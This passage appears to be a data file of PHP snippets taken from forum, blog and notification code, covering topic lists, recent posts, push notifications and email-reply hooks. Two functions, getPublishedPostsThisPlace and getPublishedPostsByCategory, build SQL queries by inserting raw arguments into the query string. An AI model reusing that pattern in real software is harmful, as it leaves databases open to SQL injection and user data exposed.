'';\n\t\t\tif (strpos($mentionedPost['username'], '\"') === false) {\n\t\t\t\t$quote = '\"';\n\t\t\t} elseif (strpos($mentionedPost['username'], \"'\") === false) {\n\t\t\t\t$quote = \"'\";\n\t\t\t} elseif (strpos($mentionedPost['username'], \"`\") === false) {\n\t\t\t\t$quote = \"`\";\n\t\t\t}\n\n\t\t\t$message .= \"@{$quote}{$mentionedPost['username']}{$quote} \";\n\t\t\t$mentioned[$mentionedPost['username']] = true;\n\t\t}\n\t}\n\n\t// send our headers.\n\theader(\"Content-type: text/plain; charset={$charset}\");\n\techo $message;\n\texit;\n}", "function return_topic_list_data( $view_as_guest=0 )\n\t{\n\t\t//-----------------------------------------\n\t\t// INIT\n\t\t//-----------------------------------------\n\t\t\n\t\t$topics = array();\n\t\t\n\t\t$this->ipsclass->init_load_cache( array( 'attachtypes' ) );\n\t\t\n\t\t//-----------------------------------------\n\t\t// Set up\n\t\t//-----------------------------------------\n\n\t\t$this->topic_list_config['order_field'] = ( $this->topic_list_config['order_field'] == 'started' ) ? 'start_date' : $this->topic_list_config['order_field'];\n\t\t$this->topic_list_config['order_field'] = ( $this->topic_list_config['order_field'] == 'lastpost' ) ? 'last_post' : $this->topic_list_config['order_field'];\n\t\t$this->topic_list_config['forums'] = ( is_array( $this->topic_list_config['forums'] ) ) ? implode( \",\", $this->topic_list_config['forums'] ) : $this->topic_list_config['forums'];\n\t\t\n\t\t//-----------------------------------------\n\t\t// Fix up allowed forums\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( $this->topic_list_config['forums'] )\n\t\t{\n\t\t\t# Init forums...\n\t\t\tif ( $view_as_guest )\n\t\t\t{\n\t\t\t\t$this->ipsclass->perm_id_array = explode( ',', $this->ipsclass->create_perms_from_group( $this->ipsclass->vars['guest_group'] ) );\n\t\t\t\t$this->ipsclass->forums->strip_invisible = 1;\n\t\t\t}\n\t\t\t\n\t\t\t$this->ipsclass->forums->forums_init();\n\t\t\t\n\t\t\t# Reset topics...\n\t\t\tif ( $this->topic_list_config['forums'] == '*' )\n\t\t\t{\n\t\t\t\t$_tmp_array \t\t\t\t\t = array();\n\t\t\t\t$this->topic_list_config['forums'] = '';\n\t\t\t\t\n\t\t\t\tforeach( $this->ipsclass->forums->forum_by_id as $id => $data )\n\t\t\t\t{\n\t\t\t\t\t$_tmp_forums[] = $id;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$_tmp_forums = explode( ',', $this->topic_list_config['forums'] );\n\t\t\t\t$_tmp_array \t\t\t\t\t = array();\n\t\t\t\t$this->topic_list_config['forums'] = '';\n\t\t\t}\n\t\t\t\n\t\t\tforeach( $_tmp_forums as $_id )\n\t\t\t{\n\t\t\t\tif ( $view_as_guest )\n\t\t\t\t{\n\t\t\t\t\tif ( ! $this->ipsclass->forums->forums_quick_check_access( $_id ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$_tmp_array[] = $_id;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$_tmp_array[] = $_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->topic_list_config['forums'] = implode( ',', $_tmp_array );\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Get from the DB\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->DB->build_query( array( 'select' => 't.*',\n\t\t\t\t\t\t\t\t\t\t\t\t 'from' => array( 'topics' => 't' ),\n\t\t\t\t\t\t\t\t\t\t\t\t 'where' => 't.approved=1 AND t.forum_id IN (0,'.$this->topic_list_config['forums'].')',\n\t\t\t\t\t\t\t\t\t\t\t 'order' => $this->topic_list_config['order_field'].' '.$this->topic_list_config['order_by'],\n\t\t\t\t\t\t\t\t\t\t\t\t 'limit' => array( $this->topic_list_config['offset'], $this->topic_list_config['limit'] ),\n\t\t\t\t\t\t\t\t\t\t\t\t 'add_join' => array( \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 0 => array( 'select' => 'p.*',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => array( 'posts' => 'p' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => 't.topic_firstpost=p.pid',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 1 => array( 'select' => 'm.id as member_id, m.members_display_name as member_name, m.mgroup, m.email',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t 'from' => array( 'members' => 'm' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => \"m.id=p.author_id\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 2 => array( 'select' => 'f.id as forum_id, f.name as forum_name, f.use_html',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t 'from' => array( 'forums' => 'f' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => \"t.forum_id=f.id\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left' ) )\n\t\t\t\t\t\t\t\t\t\t) );\n\t\t\n\t\t$this->ipsclass->DB->exec_query();\n\t\t\n\t\twhile( $row = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\tif( $row['topic_hasattach'] )\n\t\t\t{\n\t\t\t\t$this->attach_pids[] = $row['pid'];\n\t\t\t}\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Guest name?\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\t$row['member_name'] = $row['member_name'] ? $row['member_name'] : $row['author_name'];\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Topic link\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\t$row['link-topic'] = $this->ipsclass->base_url.'showtopic='.$row['tid'];\n\t\t\t$row['link-forum'] = $this->ipsclass->base_url.'showforum='.$row['forum_id'];\n\t\t\t\n\t\t\t$topics[] = $row;\n\t\t}\n\t\t\n\t\tif( count( $this->attach_pids ) )\n\t\t{\n\t\t\t$final_attachments = array();\n\t\t\t\n\t\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => 'attachments',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'where' => \"attach_rel_module='post' AND attach_rel_id IN (\".implode(\",\", $this->attach_pids).\")\"\n\t\t\t\t\t\t\t\t\t\t\t\t ) );\n\n\t\t\t$this->ipsclass->DB->simple_exec();\n\t\t\t\n\t\t\twhile ( $a = $this->ipsclass->DB->fetch_row() )\n\t\t\t{\n\t\t\t\t$final_attachments[ $a[ 'attach_pid' ] ][ $a['attach_id'] ] = $a;\n\t\t\t}\n\t\t\t\n\t\t\t$final_topics = array();\n\t\t\t\n\t\t\tforeach( $topics as $mytopic )\n\t\t\t{\n\t\t\t\t$this_topic_attachments = array();\n\t\t\t\t\n\t\t\t\tforeach ( $final_attachments as $pid => $data )\n\t\t\t\t{\n\t\t\t\t\tif( $pid <> $mytopic['pid'] )\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$temp_out = \"\";\n\t\t\t\t\t$temp_hold = array();\n\t\t\t\t\t\n\t\t\t\t\tforeach( $final_attachments[$pid] as $aid => $row )\n\t\t\t\t\t{\n\t\t\t\t\t\t//-----------------------------------------\n\t\t\t\t\t\t// Is it an image, and are we viewing the image in the post?\n\t\t\t\t\t\t//-----------------------------------------\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ( $this->ipsclass->vars['show_img_upload'] and $row['attach_is_image'] )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ( $this->ipsclass->vars['siu_thumb'] AND $row['attach_thumb_location'] AND $row['attach_thumb_width'] )\n\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t$this_topic_attachments[] = array( 'size' \t\t=> $this->ipsclass->size_format( $row['attach_filesize'] ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'method' \t=> 'post',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'id'\t\t=> $row['attach_id'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'file'\t\t=> $row['attach_file'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'hits'\t\t=> $row['attach_hits'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_location'\t=> $row['attach_thumb_location'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t\t=> 'thumb',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_x'\t=> $row['attach_thumb_width'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_y'\t=> $row['attach_thumb_height'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'ext'\t\t=> $row['attach_ext'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this_topic_attachments[] = array( 'size' \t\t=> $this->ipsclass->size_format( $row['attach_filesize'] ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'method' \t=> 'post',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'id'\t\t=> $row['attach_id'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'file'\t\t=> $row['attach_file'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'hits'\t\t=> $row['attach_hits'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_location'\t=> $row['attach_thumb_location'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t\t=> 'image',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_x'\t=> $row['attach_thumb_width'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_y'\t=> $row['attach_thumb_height'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'ext'\t\t=> $row['attach_ext'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this_topic_attachments[] = array( 'size' \t\t=> $this->ipsclass->size_format( $row['attach_filesize'] ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'method' \t=> 'post',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'id'\t\t=> $row['attach_id'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'file'\t\t=> $row['attach_file'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'hits'\t\t=> $row['attach_hits'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_location'\t=> $row['attach_thumb_location'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type'\t\t=> 'reg',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_x'\t=> $row['attach_thumb_width'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'thumb_y'\t=> $row['attach_thumb_height'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'ext'\t\t=> $row['attach_ext'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif( count( $this_topic_attachments ) )\n\t\t\t\t{\n\t\t\t\t\t$mytopic['attachment_data'] = $this_topic_attachments;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$final_topics[] = $mytopic;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Return...\n\t\t//-----------------------------------------\n\t\t\t\t\n\t\tif( count( $final_topics ) )\n\t\t{\n\t\t\treturn $final_topics;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $topics;\n\t\t}\t\t\t\n\t}", "public function getAllPublishedPosts() \n\t{\n $q = \"SELECT * FROM in_posts WHERE publish_flag = 1 ORDER BY publish_time DESC\";\n $ps = $this->execute($q);\n $result = $this->getDataRowsAsObjects($ps, 'Post');\n return $result;\n }", "public function index()\n {\n $this->repository->addAvailableInclude('from_user', ['name', 'avatar']);\n $this->repository->addAvailableInclude('reply', ['created_at']);\n $this->repository->addAvailableInclude('topic', ['title']);\n\n $data = $this->repository\n ->autoWith()\n ->autoWithRootColumns(['id', 'type', 'body', 'topic_id', 'reply_id', 'created_at'])\n ->paginate(per_page());\n\n return $this->response()->paginator($data, new NotificationTransformer());\n }", "public function getUsersToNotifyOfTokenGiven() {\n return array(\n $this->getAuthorPHID(),\n );\n }", "public static function getPostPopularList()\n {\n $db = Db::getConnection();\n $PostPopularList = [];\n\n $result = $db->query('SELECT id_publ, name, text, author, date, number_of_comments \n FROM publication ORDER BY number_of_comments DESC LIMIT 5');\n\n $i = 0;\n while($row = $result->fetch()) {\n $PostPopularList[$i]['id_publ'] = $row['id_publ'];\n $PostPopularList[$i]['name'] = $row['name'];\n $PostPopularList[$i]['date'] = $row['date'];\n $PostPopularList[$i]['text'] = $row['text'];\n $PostPopularList[$i]['author'] = $row['author'];\n $PostPopularList[$i]['number_of_comments'] = $row['number_of_comments'];\n $i++;\n }\n\n return $PostPopularList;\n }", "function getPublishedPostsThisPlace($placeid) {\n\tglobal $conn;\n\t$sql = \"SELECT * FROM posts ps WHERE published=true AND ps.id IN \n\t\t\t(SELECT post_id FROM post_topic_place WHERE post_topic_place.place_id = '$placeid')\";\n\t$result = mysqli_query($conn, $sql);\n\n\t// fetch all posts as an associative array called $posts\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\t$final_posts = array();\n\tforeach ($posts as $post) {\n\t\t$post['topic'] = getPostTopic($post['id']); \n\t\tarray_push($final_posts, $post);\n\t}\n\treturn $final_posts;\n}", "public function topicLists()\n {\n $this->adapter = $this->serviceLocator->get('Zend\\Db\\Adapter\\Adapter');\n $sql = \"select * from topics\";\n $statement = $this->adapter->query($sql);\n $result = $statement->execute();\n\n return $result;\n }", "public function sendPostNotification() {\n\t\t$getNotificatin = \\DB::table('notification')\n\t\t\t->where('type', 'post_added')\n\t\t\t->where('push_status', '0')\n\t\t\t->where('receiver', '0')\n\t\t\t->orderBy('id', 'ASC')\n\t\t\t->get();\n\t\tif (count($getNotificatin) > 0) {\n\t\t\tforeach ($getNotificatin as $nKey => $rows) {\n\t\t\t\t$notification_id = $rows->id;\n\t\t\t\t$senderId = $rows->sender;\n\t\t\t\t$senderInfo = \\DB::table('users')->where('id', $rows->sender)->first();\n\t\t\t\t$user_details[] = array(\n\t\t\t\t\t'ID' => $senderInfo->id,\n\t\t\t\t\t'user_image' => '',\n\t\t\t\t\t'Name' => $senderInfo->username,\n\t\t\t\t);\n\t\t\t\t$my_user = \\DB::table('user_connection')\n\t\t\t\t\t->where('user_connection.friend_id', $senderId)\n\t\t\t\t\t->where('user_connection.follow', '1')\n\t\t\t\t\t->where('user_connection.status', '1')\n\t\t\t\t\t->pluck('user_connection.user_id');\n\t\t\t\t$userRow = \\DB::table('users')\n\t\t\t\t\t->where('player_id', '!=', '')\n\t\t\t\t\t->WhereIn('id', $my_user)\n\t\t\t\t\t->pluck('player_id');\n\t\t\t\tif (!empty($userRow)) {\n\t\t\t\t\tif ($userRow) {\n\t\t\t\t\t\t$title = 'New Post';\n\t\t\t\t\t\t$message = $senderInfo->username . ' added new post';\n\t\t\t\t\t\t$msg = array(\n\t\t\t\t\t\t\t'title' => $title,\n\t\t\t\t\t\t\t'message' => $message,\n\t\t\t\t\t\t\t'push_notification_id' => $notification_id,\n\t\t\t\t\t\t\t'type' => $rows->type,\n\t\t\t\t\t\t\t'ID' => $rows->receiver,\n\t\t\t\t\t\t\t'sender_user_id' => $rows->sender,\n\t\t\t\t\t\t\t'sender_user_name' => $senderInfo->username,\n\t\t\t\t\t\t\t'object_id' => $rows->object_id ? $rows->object_id : 0,\n\t\t\t\t\t\t\t'user_details' => $user_details,\n\t\t\t\t\t\t\t'batch_count' => 0,\n\t\t\t\t\t\t\t'vibrate' => 1,\n\t\t\t\t\t\t\t'sound' => 1,\n\t\t\t\t\t\t\t'largeIcon' => 'large_icon',\n\t\t\t\t\t\t\t'smallIcon' => 'small_icon',\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$response = \\OneSignalServiceHelpers::sendPushNotification($userRow, $msg);\n\t\t\t\t\t\t$this->info($response);\n\t\t\t\t\t}\n\t\t\t\t\t$this->info(json_encode($userRow));\n\t\t\t\t}\n\t\t\t\t$this->updateNotificationStatus($notification_id);\n\t\t\t}\n\t\t}\n\t}", "function sendApprovalNotifications(&$topicData)\n{\n\t(new PostNotifications())->sendApprovalNotifications($topicData);\n}", "public function posts()\n {\n // $name = 'Dipu';\n // $age = 25;\n\n // return 'Name: '. $name . ' Age: ' . $age;\n\n // Objects\n // $user = new stdClass();\n // $user->name = 'dipu';\n // $user->age = 25;\n\n // print_r($user);\n\n //Multiple data /Array\n $post[] = \"\";\n $single_post = new stdClass();\n\n $single_post->name = 'Dipu';\n $single_post->age = 25;\n $single_post->gender = 'male';\n array_push($post, $single_post);\n\n $single_post = new stdClass();\n\n $single_post->name = 'Munna';\n $single_post->age = 20;\n $single_post->gender = 'male';\n array_push($post, $single_post);\n\n print_r($post);\n\n }", "function getPublishedPostsByCategory($topic_id) {\n // Connect To Blog DB\n $db = new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DATABASE);\n\n $sql = \"SELECT * FROM posts ps \n\t\t\tWHERE ps.id IN \n\t\t\t(SELECT pc.post_id FROM post_category pc \n\t\t\t\tWHERE pc.topic_id='$topic_id' GROUP BY pc.post_id \n\t\t\t\tHAVING COUNT(1) = 1)\";\n $result = mysqli_query($db, $sql);\n\n // Get all posts by category\n $posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n $final_posts = array();\n\n foreach ($posts as $post) {\n $post['topic'] = getPostCategory($post['id']);\n array_push($final_posts, $post);\n }\n\n // Close Connection\n $db -> close();\n\n return $final_posts;\n}", "public function getPublish();", "function retrieveTrendingPosts();", "public function create()\n {\n $authId = Auth::user()->_id;\n $getPostLike = PostLike::where('fk_user_id',$authId)->get();\n $getPostComment = PostComment::where('fk_user_id',$authId)->get();\n $getPostCommentLike = PostCommentLike::where('fk_user_id',$authId)->get();\n $getPostCommentSubCom = PostSubComment::where('fk_user_id',$authId)->get();\n\n $getNotification = FeedNotification::where('fk_user_id','!=',\\Auth::user()->_id)->orderBy('created_at','desc')->get();\n\n\n \n $myNotify = array();\n\n for ($i=0; $i < count($getNotification); $i++) { \n //post\n\n if($getNotification[$i]->posts['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $post = 1;\n }else{\n $post = 0;\n }\n\n if($post==0){\n\n if(count($getPostLike) > 0){\n $postLike = $getNotification[$i]->posts->post_like; \n\n $countPostLike = count($postLike);\n for ($p=0; $p < $countPostLike; $p++) { \n if($postLike[$p]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postL = 1; \n }else{\n $postL = 0;\n }\n }\n }else{\n $postL = 0;\n }\n\n if($postL == 0){\n if(count($getPostComment) > 0){\n $postComment = $getNotification[$i]->posts->post_comment; \n $countPostComment = count($postComment);\n //return $countPostComment;\n for ($c=0; $c < $countPostComment; $c++) { \n \n if($postComment[$c]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postC = 1;\n $c = $countPostComment + 1; \n }else{\n $postC = 0;\n }\n }\n }else{\n $postC = 0;\n }\n \n if($postC == 0){\n if(count($getPostCommentLike) > 0){\n $postCommentLike = $getNotification[$i]->posts->post_comment->post_comment_like; \n $countPostCommentLike = count($postCommentLike);\n for ($l=0; $l < $countPostCommentLike; $l++) { \n if($postCommentLike[$l]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postCL = 1;\n $l = $countPostCommentLike + 1; \n }else{\n $postCL = 0;\n }\n }\n }else{\n $postCL = 0;\n }\n\n if($postCL == 0){\n if(count($getPostCommentSubCom) > 0){\n $postCommentSub = $getNotification[$i]->posts->post_comment->post_sub_comment; \n $countPostCommentSub = count($postCommentSub);\n for ($x=0; $x < $countPostCommentSub; $x++) { \n if($postCommentSub[$x]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postCS = 1;\n $x = $countPostCommentSub + 1; \n }else{\n $postCS = 0;\n }\n }\n } \n }\n } \n }\n }\n }\n \n return json_encode($myNotify);\n }", "static public function appendEmailReplyToMessages() {\n\n /**\n * Watch for new comments on discussions and append a reply to from email option\n * We needed to register this separate handler for new discussion posts since elgg doesn't trigger notify:entity:message\n */\n elgg_register_plugin_hook_handler('notify:annotation:message', 'group_topic_post',\n function ($hook, $type, $message, $params) {\n\n $reply = $params['annotation'];\n $topic = $reply->getEntity();\n\n $reply_action = 'create.generic_comment';\n\n // Group discussions get a different action since they do not truly utilize elgg's generic comment system\n if (get_input('action') == \"groups/addpost\"\n || get_input('action') == \"groups/addtopic\"\n || get_input('action') == \"discussion/reply/save\"\n || get_input('action') == 'discussion/save'\n ) {\n $reply_action = 'create.group_topic_post';\n }\n\n $email_text = elgg_view(\"jettmail/email/address/generate\", array(\n 'action' => $reply_action,\n 'guid' => $topic->guid,\n 'to_email' => $params['to_entity']->email,\n 'text' => 'email a reply',\n 'subject' => $topic->title\n ));\n\n // Append the special email onto the message body\n return $message . $email_text;\n\n }, 1000);\n\n /**\n * Watch for certain generic message notifications and append an email reply onto the message\n * This gets called last in the hook stack\n */\n elgg_register_plugin_hook_handler('notify:entity:message', 'object',\n function ($hook, $type, $message, $params) {\n\n global $CONFIG;\n\n $reply_action = 'create.generic_comment';\n\n // Group discussions get a different action since they do not truly utilize elgg's generic comment system\n if (get_input('action') == \"groups/addpost\"\n || get_input('action') == \"groups/addtopic\"\n || get_input('action') == \"discussion/reply/save\"\n || get_input('action') == 'discussion/save'\n ) {\n $reply_action = 'create.group_topic_post';\n }\n\n $entity = $params['entity'];\n $to_entity = $params['to_entity'];\n $method = $params['method'];\n\n $subtype = $entity->getSubtype();\n\n // Append an email reply text if these are blog or page notifications\n if (in_array($subtype, array(\"blog\", \"page_top\", \"page\", \"groupforumtopic\", \"file\", \"album\"))) {\n\n $email_text = elgg_view(\"jettmail/email/address/generate\", array(\n 'action' => $reply_action,\n 'guid' => $entity->guid,\n 'to_email' => $params['to_entity']->email,\n 'text' => 'email a reply',\n 'subject' => $entity->title\n ));\n\n // Append the special email onto the message body\n return $message . $email_text;\n }\n\n return NULL;\n\n }, 1000);\n\n }", "public function retrieve_topic_posts($topic_name)\n {\n $post_array = $this->request_topic($topic_name);\n return $this->to_array($this->get_post_collection($post_array));\n }", "function RecentPosts()\n{\n\tglobal $txt, $scripturl, $db_prefix, $user_info, $context, $ID_MEMBER, $modSettings, $sourcedir;\n\n\t// They're deleting something... just skip back to it.\n\tif (isset($_GET['delete']))\n\t{\n\t\t// Luckily, removeMessage() checks permissions for us.\n\t\trequire_once($sourcedir . '/RemoveTopic.php');\n\t\tremoveMessage((int) $_GET['delete']);\n\n\t\tredirectexit('action=recent');\n\t}\n\n\tloadTemplate('Recent');\n\t$context['page_title'] = $txt[214];\n\n\t// Find the 10 most recent messages they can *view*.\n\t$request = db_query(\"\n\t\tSELECT m.ID_MSG\n\t\tFROM {$db_prefix}messages AS m, {$db_prefix}boards AS b\n\t\tWHERE b.ID_BOARD = m.ID_BOARD\" . (!empty($modSettings['recycle_enable']) && $modSettings['recycle_board'] > 0 ? \"\n\t\t\tAND b.ID_BOARD != $modSettings[recycle_board]\" : '') . \"\n\t\t\tAND $user_info[query_see_board]\n\t\tORDER BY m.ID_MSG DESC\n\t\tLIMIT 10\", __FILE__, __LINE__);\n\t$messages = array();\n\twhile ($row = mysql_fetch_assoc($request))\n\t\t$messages[] = $row['ID_MSG'];\n\tmysql_free_result($request);\n\n\tif (empty($messages))\n\t{\n\t\t$context['posts'] = array();\n\t\treturn;\n\t}\n\n\t// Get all the most recent posts.\n\t$request = db_query(\"\n\t\tSELECT\n\t\t\tm.ID_MSG, m.subject, m.smileysEnabled, m.posterTime, m.body, m.ID_TOPIC, t.ID_BOARD, b.ID_CAT,\n\t\t\tb.name AS bname, c.name AS cname, t.numReplies, m.ID_MEMBER, m2.ID_MEMBER AS ID_FIRST_MEMBER,\n\t\t\tIFNULL(mem2.realName, m2.posterName) AS firstPosterName, t.ID_FIRST_MSG,\n\t\t\tIFNULL(mem.realName, m.posterName) AS posterName, t.ID_LAST_MSG\n\t\tFROM {$db_prefix}messages AS m, {$db_prefix}messages AS m2, {$db_prefix}topics AS t, {$db_prefix}boards AS b, {$db_prefix}categories AS c\n\t\t\tLEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = m.ID_MEMBER)\n\t\t\tLEFT JOIN {$db_prefix}members AS mem2 ON (mem2.ID_MEMBER = m2.ID_MEMBER)\n\t\tWHERE m2.ID_MSG = t.ID_FIRST_MSG\n\t\t\tAND t.ID_TOPIC = m.ID_TOPIC\n\t\t\tAND b.ID_BOARD = t.ID_BOARD\n\t\t\tAND c.ID_CAT = b.ID_CAT\n\t\t\tAND m.ID_MSG IN (\" . implode(', ', $messages) . \")\n\t\tORDER BY m.ID_MSG DESC\n\t\tLIMIT 0, 10\", __FILE__, __LINE__);\n\t$counter = 1;\n\t$context['posts'] = array();\n\t$board_ids = array('own' => array(), 'any' => array());\n\twhile ($row = mysql_fetch_assoc($request))\n\t{\n\t\t// Censor everything.\n\t\tcensorText($row['body']);\n\t\tcensorText($row['subject']);\n\n\t\t// BBC-atize the message.\n\t\t$row['body'] = doUBBC($row['body'], $row['smileysEnabled']);\n\n\t\t// And build the array.\n\t\t$context['posts'][$row['ID_MSG']] = array(\n\t\t\t'id' => $row['ID_MSG'],\n\t\t\t'counter' => $counter++,\n\t\t\t'category' => array(\n\t\t\t\t'id' => $row['ID_CAT'],\n\t\t\t\t'name' => $row['cname'],\n\t\t\t\t'href' => $scripturl . '#' . $row['ID_CAT'],\n\t\t\t\t'link' => '<a href=\"' . $scripturl . '#' . $row['ID_CAT'] . '\">' . $row['cname'] . '</a>'\n\t\t\t),\n\t\t\t'board' => array(\n\t\t\t\t'id' => $row['ID_BOARD'],\n\t\t\t\t'name' => $row['bname'],\n\t\t\t\t'href' => $scripturl . '?board=' . $row['ID_BOARD'] . '.0',\n\t\t\t\t'link' => '<a href=\"' . $scripturl . '?board=' . $row['ID_BOARD'] . '.0\">' . $row['bname'] . '</a>'\n\t\t\t),\n\t\t\t'topic' => $row['ID_TOPIC'],\n\t\t\t'href' => $scripturl . '?topic=' . $row['ID_TOPIC'] . '.msg' . $row['ID_MSG'] . '#msg' . $row['ID_MSG'],\n\t\t\t'link' => '<a href=\"' . $scripturl . '?topic=' . $row['ID_TOPIC'] . '.msg' . $row['ID_MSG'] . '#msg' . $row['ID_MSG'] . '\">' . $row['subject'] . '</a>',\n\t\t\t'start' => $row['numReplies'],\n\t\t\t'subject' => $row['subject'],\n\t\t\t'time' => timeformat($row['posterTime']),\n\t\t\t'timestamp' => $row['posterTime'],\n\t\t\t'first_poster' => array(\n\t\t\t\t'id' => $row['ID_FIRST_MEMBER'],\n\t\t\t\t'name' => $row['firstPosterName'],\n\t\t\t\t'href' => empty($row['ID_FIRST_MEMBER']) ? '' : $scripturl . '?action=profile;u=' . $row['ID_FIRST_MEMBER'],\n\t\t\t\t'link' => empty($row['ID_FIRST_MEMBER']) ? $row['firstPosterName'] : '<a href=\"' . $scripturl . '?action=profile;u=' . $row['ID_FIRST_MEMBER'] . '\">' . $row['firstPosterName'] . '</a>'\n\t\t\t),\n\t\t\t'poster' => array(\n\t\t\t\t'id' => $row['ID_MEMBER'],\n\t\t\t\t'name' => $row['posterName'],\n\t\t\t\t'href' => empty($row['ID_MEMBER']) ? '' : $scripturl . '?action=profile;u=' . $row['ID_MEMBER'],\n\t\t\t\t'link' => empty($row['ID_MEMBER']) ? $row['posterName'] : '<a href=\"' . $scripturl . '?action=profile;u=' . $row['ID_MEMBER'] . '\">' . $row['posterName'] . '</a>'\n\t\t\t),\n\t\t\t'message' => $row['body'],\n\t\t\t'can_reply' => false,\n\t\t\t'can_mark_notify' => false,\n\t\t\t'can_delete' => false,\n\t\t\t'delete_possible' => $row['ID_FIRST_MSG'] != $row['ID_MSG'] || $row['ID_LAST_MSG'] == $row['ID_MSG']\n\t\t);\n\n\t\tif ($ID_MEMBER == $row['ID_FIRST_MEMBER'])\n\t\t\t$board_ids['own'][$row['ID_BOARD']][] = $row['ID_MSG'];\n\t\t$board_ids['any'][$row['ID_BOARD']][] = $row['ID_MSG'];\n\t}\n\tmysql_free_result($request);\n\n\t// There might be - and are - different permissions between any and own.\n\t$permissions = array(\n\t\t'own' => array(\n\t\t\t'post_reply_own' => 'can_reply',\n\t\t\t'remove_own' => 'can_delete',\n\t\t),\n\t\t'any' => array(\n\t\t\t'post_reply_any' => 